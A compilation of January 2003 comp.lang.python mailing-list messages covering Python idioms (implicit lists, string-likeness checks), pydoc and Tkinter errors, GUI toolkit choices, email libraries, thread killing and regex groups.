    http://www.csh.rit.edu/~jon/projects/pip/

-- 
Jon Parise (jon at csh.rit.edu)  ::  http://www.csh.rit.edu/~jon/




From martin at v.loewis.de  Sat Jan 25 18:21:30 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 26 Jan 2003 00:21:30 +0100
Subject: Translation table to map Latin-1 to ASCII?
References: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com>
Message-ID: <m3n0lou879.fsf@mira.informatik.hu-berlin.de>

Rene Pijlman <reageer.in at de.nieuwsgroep> writes:

> Can anyone point me to a translation table for string.translate
> to map Latin-1 (ISO 8859-1) to ASCII such that \"e maps to e
> etc.?

Did you have problems creating it yourself?

Regards,
Martin



From gradha at terra.es  Thu Jan 23 15:23:46 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Thu, 23 Jan 2003 21:23:46 +0100
Subject: Best SMTP/POP library?
In-Reply-To: <slrnb3018n.1k8.gerhard.haering@haering.opus-gmbh.net>
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net> <bJzX9.9$0L3.15587@news2.news.adelphia.net> <slrnb2tj3u.os.gerhard.haering@haering.opus-gmbh.net> <FVRX9.477$0L3.218162@news2.news.adelphia.net> <slrnb2vrnh.a0.gerhard.haering@haering.opus-gmbh.net> <phTX9.494$0L3.236270@news2.news.adelphia.net> <slrnb3018n.1k8.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <20030123202346.GB27166@pedos.es>

On Thu, Jan 23, 2003 at 03:07:41PM +0000, Gerhard H?ring wrote:
> Btw. there are some free add-ons available that make Outlook
> Express behave a lot saner. You can google for "oe quotefix",
> "morver" and "korrnews".

Hey, it may not help much with outlook, but I read/write mails
with setedit, an editor aimed at programmers which doesn't support
email quoting. So I created a macro for it to reformat mails. The
macro calls an external python script, which in turn calls GNU fmt
command to do the dirty work.

You might want to take a look at it to see how it reformats quoting,
and rip the simple algorithm to implement it in your python mail
program. Get it all from here:

 http://leo.worldonline.es/jerzegor/textos/setedit_external_macro.en.html

PD: Obviously all this was reformatted with the script.




From pyth at devel.trillke.net  Thu Jan 30 10:07:42 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 16:07:42 +0100
Subject: Implicit lists
In-Reply-To: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>; from dale@riverhall.NOTHANKS.co.uk.trillke.net on Thu, Jan 30, 2003 at 02:41:33PM +0000
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
Message-ID: <20030130160742.R10804@prim.han.de>

Dale Strickland-Clark wrote:
> In many places, often small utility functions, I find myself using the
> form:
> 
> lst = maybeAnArg
> if type(lst) not in (list, tuple)
>     lst = [lst]
> for x in lst:
>     whatever

hmmm. Maybe with a general-purpose 

    def elems(*args):
        l = []
        for arg in args:
            try: l.extend(arg)
            except TypeError: l.append(arg)
        return l
            
you might like to write:

    for x in elems(lst):

and use it also to iterate consecutively over the
elements of more than one list or value:

    for x in elems(lst1, lst2, 42):

HTH,

    holger




From kendall at monkeyfist.com  Thu Jan 23 02:17:41 2003
From: kendall at monkeyfist.com (Kendall Clark)
Date: Thu, 23 Jan 2003 01:17:41 -0600
Subject: Python magazine(s)?
In-Reply-To: <tdMX9.440$0L3.172774@news2.news.adelphia.net>
References: <tdMX9.440$0L3.172774@news2.news.adelphia.net>
Message-ID: <20030123071741.GA15578@monkeyfist.com>

On Thu, Jan 23, 2003 at 06:46:49AM +0000, Robert Oschler wrote:
> I know there some e-zines but what, no Python magazine?  I don't see any at
> my favorite bookstore.  Grab the pitch forks and the angry mob!

The closest thing is Py, the print journal for Python developers (of which I
am the proud Managing Editor, FYI). We're not on glossy paper or newstands
(yet), but it's an actual, honest-to-god print publication, which you can
learn more about by visiting

     http://pyzine.com/

We just got our 3rd issue (32 pages) back from the printer, subscribers are
receiving them as we speak, and I'm about to start editorial work on the 4th
issue (but there is time for folks to send me articles for the next issue:
email me if you're interested).

The press release for Py 1.3 is at

     http://www.pyzine.com/archives.phtml?a=000110&b=4

The next issue (1.4) is shaping up nicely, with articles covering XML-RPC,
Pyro, Kaa, dynamic properties, the effbot's RSS newsreader, the Python Job
Mart, etc.

Kendall Clark
-- 
Jazz is only what you are. -- Louis Armstrong




From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 15:15:11 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 20:15:11 +0000
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it>
Message-ID: <4k1j3v8clvrsg5d2h2nf5u3rqsp4aum3c5@4ax.com>

Alex Martelli <aleax at aleax.it> wrote:

>A class is string-like if it acts like a string.  If a
>class lets its instances be concatenated to strings, it's
>pretty string-like -- all of str, unicode and UserString
>do, and no other type that's either built-in or the standard
>library.  Making this easily checked feature the single
>discriminant of "string-likeness" appears quite OK to me
>for most purposes.  You can wrap the test into highly readable
>form by the simple trick of defining a function;-)...e.g.:
>
>def isstringlike(x):
>    try: return x+'!'
>    except TypeError: return False
>

There's a bit of a language deficiency here if you have to resort to
this type of obscure trick. To test for strings, I have always coded
either of:

type(var) in (str, unicode)
isinstance(var, (str, unicode))

But, where it mattered, I have also been able to make sure that my
string-like objects are subclasses of str.

It makes you think.
--
Dale Strickland-Clark
Riverhall Systems Ltd



From lac at strakt.com  Thu Jan  2 04:42:41 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 02 Jan 2003 10:42:41 +0100
Subject: GUI-programming 
In-Reply-To: Message from Frederik Fuest <ffrederik@gmx.de> 
   of "Thu, 02 Jan 2003 00:07:50 +0100." <20030101230749.GA4773@r55.studdorf.wh.tu-darmstadt.de> 
References: <20030101230749.GA4773@r55.studdorf.wh.tu-darmstadt.de> 
Message-ID: <200301020942.h029gfjL004972@ratthing-b246.strakt.com>

> Hi,
> 
> I would like to programm my GUI, that you can start more than one
> process at the same time by e.g. clicking different buttons. 
> 
> Could anybody help me with this?
> 
> thx
> 
> Frederik

You need to explain what GUI you are using, and also what you mean by 
'more than one process at the same time'.  If what you mean is 'when
I click on each button I launch a separate program' then you are
building a launcher (and Mark Lutz, Programming Python second edition has code
that does exactly that using Tkinter which you might be interested
in.  The CD that comes with the book has the code.)

If you mean, 'while I am running my application, I want my users
to be able to interrupt things by clicking on buttons' then you need
to thread your application.  The best way to communicate between
threads is using a Queue object, and
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965
will show you how to do that.

Laura Creighton




From chrisk at nipltd.com  Fri Jan 24 11:37:44 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Fri, 24 Jan 2003 16:37:44 +0000
Subject: People have started mailing me ms-word docs (groan).
References: <200301240034.h0O0YjL8024796@ratthing-b246.strakt.com> <mailman.1043369852.8417.python-list@python.org> <3e30b4d8.1411643546@news.wlg.ihug.co.nz>
Message-ID: <3E316BD8.4030809@nipltd.com>

http://wvware.sourceforge.net/

may be useful, can't remember if that was the one we got working with 
Python or not, think it was.


The Intertwingulator wrote:
> You dont have a link for this tool do you?, it's exactly what I am
> looking for... cant find it via the OO website or google.




From news at scphillips.co.uk  Wed Jan 15 11:09:42 2003
From: news at scphillips.co.uk (Stephen C Phillips)
Date: Wed, 15 Jan 2003 16:09:42 +0000
Subject: pydoc problem
Message-ID: <pan.2003.01.15.16.09.42.283228.10091@scphillips.co.uk>

Hi,
	I am having problems with Pydoc and I do not know if it is a problem
with Pydoc or a problem with the way I am using the import command.  I
have created a minimal package that displays my problem:

bug
|-- __init__.py
|-- bar
|   |-- __init__.py
|   `-- other.py      (imports thing)
 `-- foo
    |-- __init__.py
    |-- base.py       (imports thing)
    `-- thing.py

So I have a package called bug with an empty __init__.py and sub-packages
foo and bar also with empty __init__.py files.  Each python file just
contains one import statement.  They are:

bar.other:
from bug.foo import thing

foo.base:
from bug.foo import thing

foo.thing:
import math

	If I am in the directory containing the bug package and I run 'pydoc -g'
(or 'pydoc2 -g' on my RedHat system) then I get the Tk interface to pydoc.
 I click on the 'bug' package link in the index, then on 'bar', then
'other', then to 'bug.foo.thing'.  If I then go back and go to the 'foo'
package, I can go directly to 'thing' but clicking on 'base' gives this
error:

problem in ./bug/foo/base.pyc - ImportError: cannot import name thing

	If I run pydoc again and go 'bug', then 'foo', then 'base' it works
fine.

	I have read Guido's essay on Python packages and tried looking at the
contents of sys.modules but this is beyond me.  The package I am writing
that exhibited this problem is much larger and works fine at run-time so
the package imports must be correct in some sense, but Pydoc doesn't like
them.
	Can anyone tell me what I am doing wrong?

	Incidentally, I've just looked at the Scientific package, and navigating
through 'site-packages', 'Scientific', 'BSP', 'Console' gives an error
too...

	My system is RedHat 7.3, with the python2-2.2-16 RPM.  My Python version
	is:

Python 2.2 (#1, Apr 12 2002, 15:29:57) [GCC 2.96 20000731 (Red Hat Linux
7.2 2.96-109)] on linux2

Thanks.



From cben at techunix.technion.ac.il  Mon Jan  6 14:55:44 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 6 Jan 2003 21:55:44 +0200
Subject: parameter/argument terminology
In-Reply-To: <3e1872d4$1@nntp0.pdx.net>
References: <av97vu$p93$1@main.gmane.org> <mailman.1041771428.30746.python-list@python.org>
 <3e1872d4$1@nntp0.pdx.net>
Message-ID: <Pine.GSO.4.44_heb2.09.0301062148160.27086-100000@techunix.technion.ac.il>

On 2003-01-05, Scott David Daniels wrote:

> Next player?
>
I don't like the sound of "parameters", compared to "arguments".  So I
make the following logical excercise: I use "arguments" to refer to the
values passed in (both in the call and inside the function); I use
"parameters" to refer to the binding slots in the function that these
values are stored in.  Since I rarely think of the binding but usually of
the values, I get to use the favorable "arguments" (and I commonly
abbreviate them as "args").  This argument can be stretched (e.g. I say
"default arguments") so I don't actually remember when last time I used
"parameters" <wink>.

weakly-argumentedly-y'rs,
  Beni Cherniavsky <cben at tx.technion.ac.il>




From maxm at mxm.dk  Tue Jan 21 12:17:49 2003
From: maxm at mxm.dk (Max M)
Date: Tue, 21 Jan 2003 18:17:49 +0100
Subject: Partial string formatting?
In-Reply-To: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com>
References: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com>
Message-ID: <3E2D80BD.5070703@mxm.dk>

Gon?alo Rodrigues wrote:

> <string> % <mapping>
> 
> where if a key is not present in <mapping> it just leaves it untouched?
> 
> I thought of subclassing dict to hand out a default item, which it would
> just be the requested key wrapped in %()s. Of course this only works if
> the format code is s but not with other format codes or even more
> complicated options.


Something like this?

class MappingAdapter:

     def __init__(self, aDict):
         self.aDict = aDict

     def __getitem__(self, key):
         return str(self.aDict.get(key, ''))


ma = MappingAdapter({'key1':'val1', 'key2':2})

"%(key1)s - %(key2)s - %(key3)s" % ma

 >>> val1 - 2 -


regards Max M

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From tchur at optushome.com.au  Thu Jan  9 18:35:59 2003
From: tchur at optushome.com.au (Tim Churches)
Date: 09 Jan 2003 13:35:59 -1000
Subject: GUI speed
In-Reply-To: <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de>
References: <mailman.1042070716.17019.python-list@python.org> 
	<slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de>
Message-ID: <1042155370.1327.309.camel@emilio>

On Wed, 2003-01-08 at 15:32, Gerhard H?ring wrote, not entirely
helpfully,:
> Rick Richardson wrote:
> > 
> > I'm currently reviewing technologies for a large, gui intensive application.
> > We're planning on having a template driven dynamic gui system, but having
> > written Java gui's in the past I'm concerned that python may share java's
> > affliction and be slower than molassses in January.
> >  
> > Can anyone out there comment on the relative speed of Java's gui libs and
> > any one of the python gui libs?
> 
> Sure I can. Try it out.

If you are "planning on having a template driven dynamic gui system"
then you might want to look seriously at PythonCard (see
http://pythoncard.sourceforge.net/ ), which is an XML template driven
dynamic GUI system. PythonCard is built on top of wxPython, which is a
binding for wxWindows, which is a cross-platform wrapper around native
GUI calls. The end result is very fast. On Windows systems, wxPython is
a piece of cake to install (it may require some library updates and
hence a bit more effort on some Linux and unix system, but not too
hard). PythonCard is simplicity itself to install once you have
wxPython.

Others will comment on pyQT and Tkinter, neither of which I have used
much. If it is a big project, it is worth spending time investigating
and testing all these, and comparing them against Java GUIs, before
making a decision. Don't forget to investigate licensing issues, which
is a factor with PyQT on some platforms, I believe.

So ultimately Gerhard's advice is sound.

Tim C






From martin.schmettow at bibliothek.uni-regensburg.de  Mon Jan 13 03:12:22 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Mon, 13 Jan 2003 09:12:22 +0100
Subject: XML and Python
In-Reply-To: <d116fbae.0301111020.69245998@posting.google.com>
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com> <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com> <d116fbae.0301111020.69245998@posting.google.com>
Message-ID: <avts9o$rhs$1@rrzd1.rz.uni-regensburg.de>

Uche Ogbuji wrote:
> For those who follow this advice, may I suggest my companion article
> to the book?:
> 
> http://www.xml.com/pub/a/2002/12/11/py-xml.html
> 
> Which provides many notes and updates on this book, and its examples. 
> For example, I gather that this article would have saved Martin
> Schmettow a lot of time.

Absolutely. It is an essential article for those who work with "Python & 
XML". Thanks, Uche Ogbuji.

CU
Martin Schmettow.




From riso at softstar.net.cn  Thu Jan 23 04:58:05 2003
From: riso at softstar.net.cn (riso)
Date: Thu, 23 Jan 2003 09:58:05 +0000
Subject: TclError: Can't find a usable init.tcl in the following directories:  
Message-ID: <200301230958.05815.riso@softstar.net.cn>

When I run IDLE , I get the following error:

Traceback (most recent call last):
  File "/usr/lib/python2.2/site-packages/idle/idle.py", line 4, in ?
    PyShell.main()
  File "/usr/lib/python2.2/site-packages/idle/PyShell.py", line 747, in main
    root = Tk(className="Idle")
  File "/usr/lib/python2.2/lib-tk/Tkinter.py", line 1487, in __init__
    self.tk = _tkinter.create(screenName, baseName, className)
TclError: Can't find a usable init.tcl in the following directories: 
    /usr/lib/tcl8.3 

I use Mandrake Rpms: (Mandrake 9.0)
tcl-8.3.3-21mdk.rpm
tk-8.3.3-21mdk.rpm
tkinter-2.2.1-14.2mdk.rpm
python-2.2.1-14.2mdk.rpm

I can`t find how to set the tkinter search path, can someone tell me how to 
resolve these errors?

Thanks 





From vanevery at 3DProgrammer.com  Tue Jan 28 19:40:02 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Wed, 29 Jan 2003 00:40:02 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org>
Message-ID: <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net>

L?tez? wrote:
> Summary:
>
> RAD-IDEs are for overcoming
> some of the problems caused by
> the inadequate logic of the language.

No, RAD-IDEs are WYSIWYG.  When the need for WYSIWYG becomes your dominant
development need, when you need to lay out zillions of widgets, then you go
for an approach that brings you economies of scale.  If you don't need that
many widgets, RAD-IDEs are a marginal gain.

Really, look at all the overstuffed functionality available in modern widget
sets and tell me that Python can somehow do a better job interfacing it all
than C++ can.  It can't.  It doesn't matter what language you pick, the
abstruseness is contained in the GUI spec not the language.  Widgets are
inherently overcomplicated, they're general purpose GUI components that try
to please everybody.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From jepler at unpythonic.net  Sun Jan 12 22:33:25 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Sun, 12 Jan 2003 21:33:25 -0600
Subject: Convert g3 faxes to ps/pdf
In-Reply-To: <avtael$ofv4@imsp212.netvigator.com>
References: <avtael$ofv4@imsp212.netvigator.com>
Message-ID: <20030112213324.A3861@unpythonic.net>

My system has g3topbm from netpbm-progs.  g3topbm | pbmtops should give you
want you ask for.

Jeff




From cgjunkaddr at attbi.com  Sun Jan 26 23:16:10 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Mon, 27 Jan 2003 04:16:10 GMT
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04>
Message-ID: <do2Z9.46367$eM6.96021@rwcrnsc51.ops.asp.att.net>

I forgot to add to "coming soon":

 ADO.NET examples in Python.

Chetan

"Chetan Gadgil" <cgjunkaddr at attbi.com> wrote in message
news:6_XY9.47838$4y2.1983 at sccrnsc04...
> Hi
>
> I have updated the library and documentation with some examples:
> 1) How to use XML apis from .NET
> 2) How to access .NET webservices dynamically from Python
> 3) Create Windows forms
>
> Coming soon:
>
> 1) How to access COM objects from Python, without using win32com library.
> (using only kobra .NET)
>
> This project is under constant development to increase usability and
improve
> features.
>
> Thanks to GV Rossum for creating this superb language - Python and to Mark
> Hammond for his awe inspiring win32all.
>
> http://www.gadgil.net/DotNetWrapperForPython.htm
>
> Regards
> Chetan
>
>





From bokr at oz.net  Thu Jan 30 20:51:13 2003
From: bokr at oz.net (Bengt Richter)
Date: 31 Jan 2003 01:51:13 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it> <mailman.1043954707.30246.python-list@python.org> <5Og_9.145723$AA2.5955682@news2.tin.it>
Message-ID: <b1ckqh$kkv$0@216.39.172.122>

On Thu, 30 Jan 2003 21:28:33 GMT, Alex Martelli <aleax at aleax.it> wrote:

>holger krekel wrote:
>
>> Alex Martelli wrote:
>>> holger krekel wrote:
>>>    ...
>>> > I think it's safer to skip "iteration" with an explicit
>>> > 
>>> >     isinstance(arg, (str, unicode))
>>> > 
>>> > check.  It's also simpler to read and understand.
>>> 
>>> And it breaks *EVERY* use of UserString -- a module in the
>>> standard Python library, even!!! -- not to mention user-coded
>>> string-like types and classes.  *shudder*.
>> 
>> sorry, but fewer scream-emoticons would suffice to make
>> your point.
>
>Not for an Italian forced to express himself _without_ moving
>his hands about.
>
>> However, it feels like an implicit kind of type-check.
>
>Your feelings are a bit off here -- because types work
>differently, e.g. UserString has NO type connection with
>str -- but not by much: what it is is a PROTOCOL-check --
>Python has no explicit notion of protocol but makes
>substantial use of the notion under the cover (and if we
>had protocol-adaptation in the language/library, life
>would be sweeter).
>
>Python does define (loosely) a sequence protocol, but,
>alas for this case, strings and string-like thingies
>also meet the sequence protocol and we DON'T want to
>treat them as sequences in this context (and most other
>application cases, in my limited experience and humble
>opinion).  So we need to synthesize a "nonstringlike sequence
>protocol" -- and for THAT, we need a "stringlike" protocol.
>
>Identifying "stringlike" with "can be catenated to a
>string" may seem like a daring leap, but think about
>it for a second: why WOULD a non-stringlike sequence
>ever WANT to be catenable to a string?  Your example:
>
>> Maybe it's a "filename" class that allows iteration and
>> allows __add__ with strings?
>
>...seems somewhat far-fetched to me.  For any two
>catenable sequences X and Y, given:
>
>def catall(*n):
>    for seq in n:
>        for item in seq:
>            yield item
>
>surely catall(X, Y) should == catall(X + Y).  How
>would this reasonable protocol constraint on sequence
>catenation be met when X instantiates your hypothetical
>class and Y is a string?
>
It may be conventionally reasonable when X and Y are the same
type of sequence, but IMO it's too constraining to dictate how
a sequence-implementing class should implement '+' when the other
sequence is another type. And ISTM that is what Holger's example
is about. E.g, it may be that the class will want to coerce the
other argument to its own type before the addition. E.g.,
(this happens to be a list of strings, which may confuse somewhat,
but it could be a list of special ojects that can only be built
from certain elements, so I am limiting constructor args by
brute force type checks here (not even allowing unicode etc):

====< stringlist.py >===============================
from __future__ import generators
class Stringlist:
    def __init__(self, x):
        # check for string, list of strings, or Stringlist instance
        if isinstance(x, str): x = [x]
        if (isinstance(x, list) and
            reduce(lambda n,item: n+isinstance(item,str), x, 0)==len(x)
        ):
            self.sl = x[:]
        elif isinstance(x, self.__class__):
            self.sl = x.sl[:]
        else:
            raise ValueError, 'Stringlist ctor requires stringlists or strings'
    def __len___(self): return len(self.sl)
    def __getitem__(self, i): return self.sl[i]
    def __setitem__(self, i, v): self.sl[i] = stringlist(v)[0]
    def __add__(self, other):
        if isinstance(other, self.__class__):
            return self.__class__(self.sl+other.sl)
        return self + self.__class__(other)
    def __repr__(self): return '<Stringlist %s>' % `self.sl`

if __name__ == '__main__':
    
    # [Alex Martelli]
    #...seems somewhat far-fetched to me.  For any two
    #catenable sequences X and Y, given:

    #( from __future__ import generators at top)
    def catall(*n):
        for seq in n:
            for item in seq:
                yield item

    #surely catall(X, Y) should == catall(X + Y).  How
    #would this reasonable protocol constraint on sequence
    #catenation be met when X instantiates your hypothetical
    #class and Y is a string?
    
    X = Stringlist('hypothetical instance data'.split())
    Y = 'a string'
    
    print 'X: %s, Y: %s' % (`X`, `Y`)
    print 'X+Y: %s' % `X+Y`
    print 'catall(X, Y): %s' % [x for x in catall(X, Y)]
    print 'catall(X + Y): %s' % [x for x in catall(X + Y)] 
    assert [x for x in catall(X, Y)] == [x for x in catall(X + Y)]
====================================================
When run, the results do break the protocol as expected, but I don't
think a Stringlist class that coerces strings to its own type before
doing '+' is unreasonable:

[17:49] C:\pywk\clp>stringlist.py
X: <Stringlist ['hypothetical', 'instance', 'data']>, Y: 'a string'
X+Y: <Stringlist ['hypothetical', 'instance', 'data', 'a string']>
catall(X, Y): ['hypothetical', 'instance', 'data', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g']
catall(X + Y): ['hypothetical', 'instance', 'data', 'a string']
Traceback (most recent call last):
  File "C:\pywk\clp\stringlist.py", line 47, in ?
    assert [x for x in catall(X, Y)] == [x for x in catall(X + Y)]
AssertionError

(I didn't assume you meant "catall(X, Y) should == catall(X + Y)" literally,
so I changed the assert)

There might be bugs or better ways to implement the above, but I hope it
illustrates the main point.

Welcome back BTW ;-)

Regards,
Bengt Richter



From tismer at tismer.com  Fri Jan 24 23:43:09 2003
From: tismer at tismer.com (Christian Tismer)
Date: Sat, 25 Jan 2003 05:43:09 +0100
Subject: killing thread ?
In-Reply-To: <7x65sew563.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org> <7xisweedcd.fsf@ruckus.brouhaha.com> <3E3188BF.3C39D8CA@engcorp.com> <7xd6mme5dn.fsf@ruckus.brouhaha.com> <mailman.1043435527.21427.python-list@python.org> <7xel72qp8v.fsf@ruckus.brouhaha.com> <3E31BC48.5222547F@engcorp.com> <7x65sew563.fsf@ruckus.brouhaha.com>
Message-ID: <3E3215DD.50609@tismer.com>

Paul Rubin wrote:
> Peter Hansen <peter at engcorp.com> writes:

[about the thread kiling prob]

> Since the new "minimal Python" is supposed to be stackless (all
> activation records are in the heap), maybe that implementation can
> more gracefully deal with the problem of killing a thread failing to
> unwind the C stack.

Well, whether Stackless or not.
Stackless 2.0 itself has the problem to be by
principle unable to kill a tasklet (which is my
tiny kind of threads), since it cannot have full
track of all stack entries, unless we do a ful stack
analysis.
Stackless 3.0 *will* be able to do this, for those
tasklets which are running without stack copies,
using the "stack-avoidance" scheme of the 1.0 version.
But this is also only a partial solution.

With Minimal Python, we have almost full control over
the whole system. If we provide the code generator, then
we know where the objects are, and we can fotunately
kill threads safely, since we know the stack/object
layout very well.

This still is not a complete solution, since there will
be non-cooperative extension modules which have to be
supported.

hoping-to-suck-them-all-up-and-to-rewrite-the-OS-
     -in-Python - ly y'rs -- chris





From max at alcyone.com  Sat Jan 18 20:41:42 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 18 Jan 2003 17:41:42 -0800
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org>
Message-ID: <3E2A0256.9C39CD83@alcyone.com>

Grzegorz Adam Hankiewicz wrote:

> > Nonsense.  The operators + - * / do different things depending on
> > the types of their operands.  That's operator overloading.
> 
> Maybe you are refering to C's usually warningless type coercion in
> mathematical operations? Or you know of a way to add two strings
> and have them concatenated? Please ellaborate.

Well, for one thing, + can do both numeric and pointer arithmetic.  Very
different things.  - also means unary negation (+ also has a unary form
but it is a no-op), and as well as being useful for both pointer
arithmetic _and_ computing the difference between two pointers (a
variant of pointer arithmetic where both operands are compatible
pointers).  * is also used for dereferencing pointers.  And do so on.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Mona Lisa / Come to discover / I am your daughter
\__/ Lamya
    7 Sisters Productions / http://www.7sisters.com/
 Web design for the future.



From whisper at oz.net  Tue Jan 28 18:10:05 2003
From: whisper at oz.net (David LeBlanc)
Date: Tue, 28 Jan 2003 15:10:05 -0800
Subject: Experience with the CTC app?
Message-ID: <GCEDKONBLEFPPADDJCOEKEAIHLAA.whisper@oz.net>

Been trying out CTC ("Cut The Cr*p",
http://www.softlab.ntua.gr/~ckotso/CTC/), an HTML ad stripping proxy. When
it works, it seems to work great. It does seem to generate a lot of errors
out of asyncore.py though; here's one of it's favorites:
error: uncaptured python exception, closing channel
<server_sock.server_sock connected 66.35.250.203:80 at 0xec3178>
(socket.error:(10035, 'The socket operation could not complete without
blocking')
[J:\Python22\lib\asyncore.py|poll|95]
[J:\Python22\lib\asyncore.py|handle_read_event|392]
[K:\CTC-2.0\server_sock.py|handle_read|69]
[J:\Python22\lib\asyncore.py|recv|358])

it's other big fling (they happen together):
error: uncaptured python exception, closing channel
<client_sock.client_sock connected 127.0.0.1:1702 at 0xeb8160>
(socket.error:(10054, 'Connection reset by peer')
[J:\Python22\lib\asynchat.py|initiate_send|213]
[J:\Python22\lib\asyncore.py|send|339])
error: uncaptured python exception, closing channel
<server_sock.server_sock connected 66.35.250.203:80 at 0x81fd90>
(socket.error:(9, 'Bad file descriptor')
[J:\Python22\lib\asyncore.py|poll|95]
[J:\Python22\lib\asyncore.py|handle_read_event|392]
[K:\CTC-2.0\server_sock.py|handle_read|79]
[K:\CTC-2.0\client_sock.py|push|143]
[<string>|fileno|1]
[J:\Python22\lib\socket.py|__getattr__|134])

Anyone have any ideas, or alternatively, can anyone suggest a better tool
for html ad stripping?

TIA,

David LeBlanc
Seattle, WA USA





From skip at pobox.com  Wed Jan 22 11:23:59 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Jan 2003 10:23:59 -0600
Subject: Best SMTP/POP library?
In-Reply-To: <FEyX9.1$0L3.488@news2.news.adelphia.net>
References: <FEyX9.1$0L3.488@news2.news.adelphia.net>
Message-ID: <15918.50591.305082.340888@montanaro.dyndns.org>

    Robert> I want to write my own email client, what is the best SMTP/POP
    Robert> library for Python 2.2? URL's please.

I don't know how you'd classify "best", but the spambayes project has a
pop3proxy.py application which works well and does a damn good job of spam
filtering to boot:

    http://spambayes.sf.net/

Skip





From letezo at fw.hu  Tue Jan 28 17:20:32 2003
From: letezo at fw.hu (=?iso-8859-1?B?TOl0ZXr1?=)
Date: Tue, 28 Jan 2003 23:20:32 +0100
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu>
Message-ID: <004101c2c71d$700a2fd0$8800a8c0@Sirius>

Summary:

RAD-IDEs are for overcoming
some of the problems caused by
the inadequate logic of the language.

- Complex -






From max at alcyone.com  Sat Jan 11 00:05:57 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 10 Jan 2003 21:05:57 -0800
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org>
Message-ID: <3E1FA635.8051A960@alcyone.com>

Kyler Laird wrote:

> Ah!  It's documented in multiple places.  The quote I
> gave before did not mention any further restrictions to
> "the contents of a group can be retrieved after a match
> has been performed,"
> 
> >http://www.python.org/doc/current/lib/match-objects.html
> 
> Thank you.  Any idea how I should have know to find that from
> here?
>         http://www.python.org/doc/current/lib/re-syntax.html

Click on the right arrow multiple times.  Or, click up, then note all
the related subjects, click on "Match Objects."

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Being in love for real / It ain't like a movie screen
\__/ India Arie
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



